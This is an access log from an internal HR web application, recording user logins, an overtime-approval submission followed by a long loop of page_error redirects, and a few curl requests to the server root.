192.168.40.48 - - [04/Sep/2025:13:03:38 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:38 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.40.48 - - [04/Sep/2025:13:03:41 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:41 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:41 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.40.48 - - [04/Sep/2025:13:03:41 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:42 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:42 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.40.48 - - [04/Sep/2025:13:03:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 31833 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 31833
192.168.40.48 - - [04/Sep/2025:13:03:49 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:49 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:49 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131067%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131067&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:49 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131067%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131067&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:50 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:52 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:03:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:07:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:07:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.40.48 - - [04/Sep/2025:13:07:06 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:07:06 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:13:07:07 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.40.48 - - [04/Sep/2025:13:07:07 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:13:07:07 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.40.48 - - [04/Sep/2025:13:07:07 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [04/Sep/2025:13:22:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:22:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:13:23:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:23:55 +0800] "GET / HTTP/1.1" 200 439
192.168.11.51 - - [04/Sep/2025:13:32:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.51 - - [04/Sep/2025:13:32:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [04/Sep/2025:13:32:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [04/Sep/2025:13:32:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.51 - - [04/Sep/2025:13:32:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.51 - - [04/Sep/2025:13:32:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
